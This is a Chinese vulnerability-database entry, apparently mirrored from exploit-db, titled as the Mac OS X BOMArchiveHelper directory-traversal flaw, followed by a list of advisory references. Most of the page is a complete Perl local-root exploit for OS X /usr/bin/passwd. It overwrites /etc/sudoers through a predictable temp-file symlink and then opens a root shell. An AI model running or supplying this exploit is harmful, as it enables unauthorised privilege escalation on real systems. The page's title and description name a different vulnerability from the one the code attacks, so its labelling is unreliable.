Apple MacOS X BOMArchiveHelper目录遍历漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109839 漏洞类型
发布时间 2006-03-01 更新时间 2006-05-15
CVE编号 CVE-2005-2713 CNNVD-ID CNNVD-200512-801
漏洞平台 OSX CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/1545
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200512-801
|漏洞详情
MacOSX是苹果家族计算机所使用的操作系统。MacOSX的BOM框架负责解压某些类型的文档,这个框架的实现上存在目录遍历漏洞,攻击者可以将文件解压至当前用户可写的任意位置。
|漏洞EXP
#!/usr/bin/perl
#
# /usr/bin/passwd[OSX]: local root exploit.
# 
# by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
# 
# (Apple) OSX's /usr/bin/passwd program has support for a custom
# passwd file to be used instead of the standard/static path.  this
# feature has security issues in the form of editable file(s) being
# made anywheres on the disk and also writing arbitrary data to files.
#
# the first issue will only work if the file does not already exist,
# it is done using "umask 0;/usr/bin/passwd -i file -l <filename>".
# the second issue is once a successful password change has occured
# /usr/bin/passwd will insecurely re-write the passwd file to
# /tmp/.pwtmp.<pid>, which can be predicted and linked to a file of
# your choice. (this exploits the second issue to overwrite 
# /etc/sudoers)
#
# (for some reason this took apple 6 or so months to patch)

use POSIX;

$fake_passwd="/tmp/xpasswd.$$";
$passwd_pid=($$ + 1);
$passwd_tempfile="/tmp/.pwtmp.$passwd_pid";
$sudoers="/etc/sudoers";

sub pexit{print("[!] @_.\n");exit(1);}
print("[*] /usr/bin/passwd[OSX]: local root exploit.\n");
print("[*] by: vade79/v9 v9\@fakehalo.us (fakehalo/realhalo)\n\n");
unlink($fake_passwd);
print("[*] making fake password file. ($fake_passwd)\n");
open(FP,">$fake_passwd")||pexit("couldn't open/write to $fake_passwd");
# uid must equal the current user.
print(FP "ALL ALL=(ALL) ALL #::" . getuid . ":" . getuid . "::" .
getuid . ":" . getuid . "::/:/\n");
close(FP);
print("[*] sym-linking $sudoers -> $passwd_tempfile.\n");
symlink($sudoers,$passwd_tempfile)||pexit("couldn't link files.");
print("[*] running /usr/bin/passwd on $fake_passwd.\n");
print("[*] (use ANY password longer than 4 characters)\n\n");
system("/usr/bin/passwd -i file -l $fake_passwd \"ALL ALL=(ALL) ALL #\"");
print("\n[*] running \"sudo sh\", use your REAL (user) password.\n\n");
system("/usr/bin/sudo sh");
exit(0);

# milw0rm.com [2006-03-01]
|参考资料

来源:US-CERTTechnicalAlert
名称:TA06-062A
链接:http://www.us-cert.gov/cas/techalerts/TA06-062A.html
来源:BID
名称:16910
链接:http://www.securityfocus.com/bid/16910
来源:BID
名称:16907
链接:http://www.securityfocus.com/bid/16907
来源:VUPEN
名称:ADV-2006-0791
链接:http://www.frsirt.com/english/advisories/2006/0791
来源:SECUNIA
名称:19064
链接:http://secunia.com/advisories/19064
来源:APPLE
名称:APPLE-SA-2006-03-01
链接:http://lists.apple.com/archives/security-announce/2006/Mar/msg00000.html
来源:BUGTRAQ
名称:20060302[OSX]:/usr/bin/passwdlocalrootexploit.
链接:http://www.securityfocus.com/archive/1/archive/1/426535/100/0/threaded
来源:OSVDB
名称:23646
链接:http://www.osvdb.org/23646
来源:IDEFENSE
名称:20060302AppleMacOSXpasswdArbitraryBinaryFileCreation/Modification
链接:http://www.idefense.com/intelligence/vulnerabilities/display.php?id=400
来源:XF
名称:macosx-passwd-file-create(25272)
链接:http://xforce.iss.net/xforce/xfdb/25272
来源:docs.info.apple.com
链接:http://docs.info.apple.com/article.html?artnum=303382
来源:NSFOCUS
名称:8546※8245※8361※8246
链接:h